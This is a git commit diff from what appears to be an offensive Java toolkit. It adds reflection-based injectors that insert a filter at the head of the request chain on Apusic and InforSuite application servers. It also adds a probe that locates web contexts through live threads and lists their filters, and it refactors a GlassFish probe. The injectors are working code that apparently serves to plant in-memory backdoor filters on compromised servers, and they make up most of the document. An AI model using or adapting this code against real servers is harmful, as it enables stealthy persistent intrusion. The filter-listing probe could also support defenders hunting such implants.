feat: support addFilterFirst for Apusic/InforSuite

This commit is contained in:
ReaJason
2026-01-12 02:12:34 +08:00
parent f170ca4514
commit e828bb92b6
7 changed files with 597 additions and 28 deletions
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
/**
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
}
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
Object filterMaps = getFieldValue(context, "filterMaps");
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// InforSuite10
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
}
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -192,25 +203,32 @@ public class InforSuiteFilterInjector {
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj, fieldName);
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
@@ -0,0 +1,216 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class ApusicFilterProbe {
@Override
public String toString() {
String msg = "";
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found\n";
} else {
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
}
msg += formatFiltersData(allFiltersData);
}
return msg;
}
@SuppressWarnings("all")
private List<Map<String, String>> collectFiltersData(Object context) {
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
try {
Object webModule = getFieldValue(context, "webapp");
if (webModule == null) {
return Collections.emptyList();
}
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
if (filterMappings == null || filterMappings.length == 0) {
return Collections.emptyList();
}
Object[] filters = (Object[]) invokeMethod(webModule, "getFilterList");
Map<String, String> filterClassMap = new HashMap<>();
if (filters != null) {
for (Object filter : filters) {
String name = (String) invokeMethod(filter, "getName");
String className = (String) invokeMethod(filter, "getFilterClass");
if (name != null && className != null) {
filterClassMap.put(name, className);
}
}
}
for (Object fm : filterMappings) {
String name = (String) invokeMethod(fm, "getFilterName");
if (name == null) {
continue;
}
if (!aggregatedData.containsKey(name)) {
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClassMap.getOrDefault(name, "N/A"));
info.put("urlPatterns", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
if (urlPattern != null) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
} catch (Exception ignored) {
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"), "");
appendIfPresent(output, " -> ", info.get("filterClass"), "");
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value).append(suffix);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* context: com.apusic.web.container.WebContainer
* context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) {
// Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
method = clazz.getDeclaredMethod(methodName);
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -41,8 +41,6 @@ public class GlassFishFilterProbe {
if (filterMaps == null || filterMaps.isEmpty()) return Collections.emptyList();
Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs");
Map<?, ?> filterConfigs = (Map<?, ?>) getFieldValue(context, "filterConfigs");
for (Object fm : filterMaps) {
String name = (String) invokeMethod(fm, "getFilterName");
if (name == null) continue;
@@ -52,8 +50,8 @@ public class GlassFishFilterProbe {
for (Object def : filterDefs) {
if (!name.equals(invokeMethod(def, "getFilterName"))) continue;
Class<?> cls = (Class<?>) invokeMethod(def, "getFilterClass");
if (cls == null && filterConfigs != null) {
Object config = filterConfigs.get(name);
if (cls == null) {
Object config = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
Object filter = config != null ? invokeMethod(config, "getFilter") : null;
if (filter != null) filterClass = filter.getClass().getName();
}
@@ -74,7 +72,7 @@ public class GlassFishFilterProbe {
urls = (String[]) invokeMethod(fm, "getURLPatterns");
} catch (Exception e) {
try {
Object urlPattern = getFieldValue(fm, "urlPattern");
Object urlPattern = invokeMethod(fm, "getURLPattern");
if (urlPattern instanceof String) {
urls = new String[] { (String) urlPattern };
}
@@ -171,10 +169,12 @@ public class GlassFishFilterProbe {
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
Class<?>[] paramClazz = null;
Object[] param = null;
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;